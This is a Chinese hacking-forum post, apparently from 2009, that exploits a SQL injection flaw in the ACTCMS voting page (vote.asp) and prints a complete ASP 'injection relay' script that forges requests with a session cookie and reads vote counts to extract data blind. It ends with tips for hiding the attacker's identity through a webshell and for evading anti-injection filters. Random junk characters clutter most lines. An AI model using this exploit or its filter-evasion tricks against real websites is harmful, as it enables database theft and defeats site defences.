7 u, P, Q- X, j7 j看到ninty大牛的blog的一篇文章- ?+ `0 d0 d& |8 y! M
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]. f; S2 C" s% b' P2 p* b8 Z3 i
关于actcms漏洞的利用 by 3x qq:381862589
! \. u# ? I: E4 K0 j- U# A" i转载请注明以上" W3 @3 [, V; x" L `
漏洞文件:6 E3 R; g N: h* S/ g. P
/plus/vote/vote.asp
1 J: v4 x: I8 b- I' W代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then 3 o" L! X3 T! I: T
. r' P, Q5 ~8 z; S# c4 t9 s7 o2 response.write "<script>alert('请选择投票项目。');window.close()</script>" * ?$ g5 t. H2 ]& _8 B. x
$ ?3 \4 Q' Z/ \, j3 response.end * ?" ?1 Z) Y: t
6 R) D. c. a) Y" l
4 end if
0 m5 X0 m# t, c E7 o+ i u
5 h7 n A4 v4 K5 for i=1 to request("voted").count ) t A! t/ s. O" X* V* K
* G' C' }" P# Y7 g0 X% i+ \* a6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i)) 0 y8 @) \ j- _5 f" K/ ^' ?2 t
2 R6 `9 Z s/ r# r7 next - x' O# T! m) q) R* r6 H8 s5 ?' C
5 ]6 T. Y, N9 T: z i
8....
4 p- W$ E; L* F8 I, f6 z
8 m1 U3 R9 h, D$ |% f9response.Redirect "index.asp?id="&id&""
' Q# b; f# _( P- f$ _投票结束回跳转回index.asp这个投票结果页面
3 I5 p2 T! b* h$ e如果投票成功票数加12 g3 K4 y( j7 x4 H0 g. c
失败票数不变) F3 d" g) p# }3 t: Z, C
如图:
) e8 ~8 b' \( v! B9 k4 T$ X0 ]http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)0 {$ ]4 C. R/ F$ q) `2 P9 `
) i N" f; w6 m2009-12-27 13:20- G3 ]( ?% ^( r4 w6 W
6 `9 h- l# h/ I% p, f* q
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
, Y1 A9 M& N- X) Z6 J2 t/ x. D8 V: O }3 r# N0 h+ J+ P0 `
本帖隐藏的内容需要回复才可以浏览
0 p' w% d) h& L( I! X我们用注入中转来实现这个注入具体代码如下:
# ]: C2 r3 n# U; u, h& u先用寂寞的刺猬大牛的注入中转生成jmget.asp5 C, I6 X! \, x/ ~. L* J4 O
注入地址:http://localhost/actcms/plus/vote/vote.asp" C+ I5 s4 Y7 r5 A. {
注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项
5 C3 S7 E5 p3 I1 X+ o
0 p+ n! P$ E- b2 y, ?& c然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
5 \7 S/ ]. f, A/ z6 r* d, I4 {% V5 u5 S9 I- p. N# S
02JmdcwName=request("jmdcw")
V# O; N4 B# i" R$ y
8 H( P9 k. W: @# c. u ?03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] 5 F- t9 X6 Y4 P/ C9 e
1 N$ y, S/ X2 @/ @/ [3 T) X: n
04JmStr="id=1&voted=-1 or 1="&JmdcwName
% o) X4 z3 v0 B/ D+ L4 R4 J
# ?( {1 m+ E/ \: w6 c; D0 i05JmStr=URLEncoding(JmStr) * [( n6 R. G% Q1 y; B, A" V
3 H0 B/ G$ g$ j
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"4 t2 U' T4 K6 A7 U
7 x# q/ ]) ]$ e- \" F07testurl="链接标记http://localhost/actcms/plus/vote/index.asp") P' x ?( A9 {1 U
; H- l/ ^7 q1 C+ f# Z( W' X08testurl=testurl & "?" & JmStr
: H/ K# Z. L \; P
9 [3 Q& k3 X( O+ N' \; c1 x$ z09JMUrl=JMUrl & "?" & JmStr 8 a- B8 k. ^* J) {& }6 h
/ u) ` l1 q- l1 C10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
3 v# w1 y# R' y, P9 F% Y" p3 L$ S
) V+ m' `% u- x11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
/ i; o' G! a2 H3 X1 [, _: n; q' {7 W' V5 X9 M$ {+ O2 j
12JmCok=replace(JmCok,chr(32),"%20") " M# w& {2 `+ K+ ~6 m
v+ V8 `/ r1 t/ E9 @8 ^2 _1 p13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
" o# [# A! H4 x' I: @, A8 Q1 [- h* i; n* @! r6 ? U {
14 # z* M6 K. v1 F( a9 p+ q' H# h
0 D: z) K* L t* o) c* ~6 z15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
) H8 n+ r3 q0 G. G: u& O
' x' _5 z# [% ^) y# r& L2 w( Q: h16
: `# e! s( {0 ~$ \2 |. v
4 L' [& P8 z- Z+ Y17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
) N; d* p1 J W( e& p
: i7 R7 q5 a2 X( x18response.write test1&""&test2&""6 E. M9 w# ~6 x- d0 N; w0 w8 W
: R: Q$ M' V9 b( H# K2 a8 e6 ~19
! _* i; w! O) C; v& @0 ^
% N) X! f( T9 w20if test1=test2 then '如前后记录相等,表示失败
, C, v! h' d) r* B* j( S9 q( v1 Q' i( m7 ^
21 response.write "failed"
% Z r' C) s/ R5 F+ q: n) ^' |- d& W
22else 1 \' W7 ^4 d9 n$ }
3 D5 _- ?% J* N. r" {- _) b
23 response.write "succeed"
' a& h6 h% _& ~- F! n" T7 x
6 ~0 |9 q, V' q24end if . g t! f4 R: |& I2 L3 B
- V2 F' `; h5 S25
2 q8 s( {1 V/ z6 W7 ]% I( ?0 W( J* c3 g
26response.write "by 3x"
/ a0 h, a% ?: n4 O
/ g* Q3 }5 F2 x7 Q27
0 `, p6 ~3 k3 Q- Q; P2 M5 a: _( H5 ~) r m1 ?% E6 M& x
28
$ k4 e9 H; y$ h4 v/ M8 g- `
, K1 p2 [) \& F( g, R, [+ _' J2 E29Function PostData(PostUrl,PostStr,PostCok,PostRef) % a' O. V, Z ?! {3 ]5 _/ j( q
, O5 S7 N" _6 k7 W# R30Dim Http
8 z( Y$ l6 y. S$ Q7 v% d- B2 r* X2 c. w) I2 ^
31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
5 r N' H x5 F) {: r
$ v# y: a5 F! `7 V5 ^; c32With Http ! d4 J6 _4 A5 D, W' I6 ^% ]
# A7 W" q! k- g6 y6 l9 O33 : \# X2 s/ B6 V) I
0 ^0 `7 {! [" }7 T2 K/ M! ]: M
34.Open "GET",PostUrl,False
% S' H( |5 |6 Q0 z, S ?& A* R5 k+ x( u7 l) X8 Y. [4 p
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"3 }) ]! e9 [: D3 I# S5 G& h
* M' x' ~% P$ F6 _! f
36.SetRequestHeader "Referer",PostRef
3 Q3 X0 n6 O/ C, i' H+ |3 r! k# A8 o4 E) d4 x( r! [# Y
37.SetRequestHeader "Cookie",PostCok * y: E2 } b! u
. H% F" e# ?; P+ C* h, P! O
38.Send () $ [8 n( g4 [9 z, t
# ?/ K& h. |: s
39PostData = .ResponseBody
. p- u0 o6 a6 }, X, J- N2 k2 P% v' l, Q0 I
40End With
0 G% o+ ^2 t9 f0 r: i5 X/ H9 ]1 [' ]$ \) v' ?
41Set Http = Nothing
+ f- @! T l/ N0 c% [$ l; @2 }! p' ~0 m3 z: Q
42PostData =bytes2BSTR(PostData)
$ r0 E' o9 {$ C; g* L4 ^1 _7 p6 a$ N2 }' x
43End Function6 N1 |/ t& D' \6 o; n# P' \
, G6 v& Q Y) Y2 ~( u- @0 I* d44
# v* P* Q2 H, O' t+ k. ~5 L4 O7 U8 }! V, A9 F8 f
45 ) ]4 r: u) O" o" C$ j4 w
8 z7 {& a+ C, k46Function bytes2BSTR(vIn) % ^9 }/ I: d, {2 W
% Y/ V6 k: s+ x$ ^/ R9 A
47Dim strReturn 3 k. Q9 I1 g* f# \) D* o( u
/ W. J- H/ d# P$ J) r48Dim I, ThisCharCode, NextCharCode 0 e6 q' ~# c; p; j
- I% h% {. B/ d. ]6 a) @
49strReturn = ""9 h2 d1 X8 T5 T9 z* k
* Y/ C3 B, F! y }50For I = 1 To LenB(vIn)
3 w; c/ f$ t; j3 H& i! H
+ n- A$ g1 t8 H" n1 N1 S51ThisCharCode = AscB(MidB(vIn, I, 1))
4 ~3 O$ n: P' h }0 V& V' y8 J+ o% y7 g( p) _/ I4 V
52If ThisCharCode < &H80 Then( G" T( p5 l) v) `
) Y3 a: A. ?& K; D9 U
53strReturn = strReturn & Chr(ThisCharCode) 0 `& T) \0 j- a, V0 u
& K; w8 ^+ h" Y/ B) l! S
54Else
5 g% o! A6 F' h' l; q" A9 f% t1 a5 F$ a% J/ T* N; d
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
# w+ x9 \2 J4 d4 T! y5 r1 O3 U3 H8 @, }, i
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) 5 q/ a( s. h( b* s( x, ]' V" F
7 i c' {% R' f# ^
57I = I + 1
6 c$ _; Y& @" \) |% v9 V0 L I- e4 J; R
58End If
- X+ _% p- Q! G, e" I( j3 N5 ~& R, F0 p
% v8 _" w) o8 z6 G: ?59Next
/ |, z) a7 F8 A2 o2 u O9 T+ S, J1 B% r
1 k! J+ j8 Z, U& q- `; L60bytes2BSTR = strReturn
) ~7 D3 M/ r! r9 e2 W, Q: h! p, L% d% Y, E' e. S8 g* c r
61End Function8 h. [; J3 I5 _) g; ^0 Y$ P
4 g2 P! [, r/ l5 \! h62
: I( R7 L* w- a% V/ i( o" S( _3 h! u
63Function URLEncoding(vstrin)
9 ~' Y0 O. _# Y! S5 ?! y7 ?+ i( s2 ^; M, u! O
64strReturn=""
& d% `7 U7 a; Y5 Y7 v0 w3 @+ {% {( ?9 I6 F3 i2 v9 I
65Dim i
6 X. b) I/ Y9 Z6 b5 e
/ G. K1 } _; P j0 D$ g! u) Q66For i=1 To Len(vstrin) 1 f% S: |3 L. V7 \% A, N! C8 ?
6 S1 M" U$ k- y& ~, t+ V+ ~! l67ThisChr=Mid(vstrin,i,1)
5 v( u% F0 D) y/ z) f* k( H1 L, s
* C6 Q) x- L' f" O68if Abs(Asc(ThisChr))< &HFF Then
3 v8 h, j0 b. `/ z s
) R+ @6 a. W1 u' `# [69strReturn=strReturn & ThisChr 9 }- y4 Y8 N' d; }; a
& I h% k% ^$ ^1 [% u: z! Y: g7 U70Else
/ y2 E3 f* \% P( C7 }
" b5 o* ~# W9 M! Z4 z# }- B; m71InnerCode=Asc(ThisChr)
3 |$ j; N/ _: g, ^. [0 t5 H) B1 ^. W# i$ F
72If InnerCode<0 Then
. s( g) j' _1 _. W, \& c. L! g5 e+ E, p, A6 E7 q$ r' B: a% b* B
73InnerCode=InnerCode + &H10000 % c; p( @9 F E
g. Q! e1 v7 s3 r: Y
74End If
* U' G8 _$ a/ w2 l5 v1 }
6 h$ o" Z% f" P75Hight1=(InnerCode And &HFF00) \&HFF
* R: @: C" M- P# Z. a% J; }+ W& ? J- a! u: x4 w
76Low1=InnerCode And &HFF
+ s# N$ i4 `1 |4 @2 g1 k0 v6 r# Y9 ~9 P0 M$ n, v) D. V8 g b
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
/ n, l9 W: q& w" a* Y; H" k; H% u* e; Z n; @
78End if 1 F v7 P U9 n, Q9 F( B! ~# I- V( I
% u7 c5 z/ s- T5 w% V79Next
# t" U- c3 M: b5 a; g# G ]2 I8 A1 ]" y2 T- K. l. z& c
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 + g6 j# r" X1 H" K' V! R1 y! ~
# G: A" s6 a2 r81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
) ^1 j9 }# \- U& T$ q' m5 K; ~* K, i3 _' `
82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码
: V2 j) j! x9 ~) h/ w+ o* q9 A' s8 j9 X; N+ d* u
83URLEncoding=strReturn
' U4 @9 S5 r; H% W# w; ]; W1 f# K H+ p1 [, H
84End Function9 s. m$ |9 y' n
$ o7 W1 W4 v: h# A* s85
! L2 Y* b: Q! z% J) v4 K
R- k0 v* `/ @- @86function getSt(body)
' Q' H# g4 X: P2 O- H% M
& j1 {, d3 ^5 e. f8 X" F. P; z87 startpot=instr(body,"投票人数:")+len("投票人数:") 0 t5 E) J& N6 R e: ~
0 ~) c7 P. E% Y# ^% z8 w7 c% g88 endpot=instr(startpot,body," ")
2 O2 Y: b( }6 `( f9 O- T( z# X6 \4 t6 D' k) q+ ~
89 getSt=mid(body,startpot,endpot-startpot) : {7 }0 a( B8 ~
) q. ]* Y) J, G90end function ; s/ U+ B' ]' F' R5 J3 {4 b
4 ^& o9 v0 u; {: g2 _2 R91%>4 s0 T' j. E4 ]' M5 ~* B' \
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了$ N" Z* H. k$ Z$ _
测试下效果:
- o5 s/ y1 T0 J0 W; Z7 q投票成功:& J C \; b' B M ~
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
( n0 l8 R+ N! m6 _/ t0 X9 \+ e: I' l4 f/ E ~
2009-12-27 13:298 W) z0 `. L$ @% t/ ~- r
投票失败5 o! A6 P( F, n( q: E, }3 H& L
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB): o) u6 U0 p$ T8 s8 _# h: U0 J
+ f1 M, @+ C5 u+ ^$ ?4 o# F3 ?0 V2009-12-27 13:29
; I5 E E1 U2 L d7 R9 J; G-------------------------------------------------------------------------------# j4 T2 `8 ]$ T' q. \" t
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
4 J2 v/ p9 S: F/ }* Y+ y很抱歉。。。只能用单线程工具去注入。。。。。7 H7 Q7 W" C' y& {. F; O
所以失败。。。不好意思。。。
4 q( ^! |1 ` l7 P5 J ]4 ]7 @-------------------------------------------------------------------------------
) b* b8 d6 o0 u4 z* X) W! e$ T/ D) J. S
注入中转的一些其他应用
; k# Q) N/ w# z, }# G其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
) Y/ f& k- B7 Z* B3 [& g1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
; C5 G. o1 s& H" _+ l, E" W2.post注入转成get型的注入,方便我们使用工具来跑
' T* V! T1 F; h3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")7 S* H0 r% i2 C7 J b0 F# \
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过+ X# V m, l+ f! ~( N3 b
9 P# H4 e% g7 I! z
|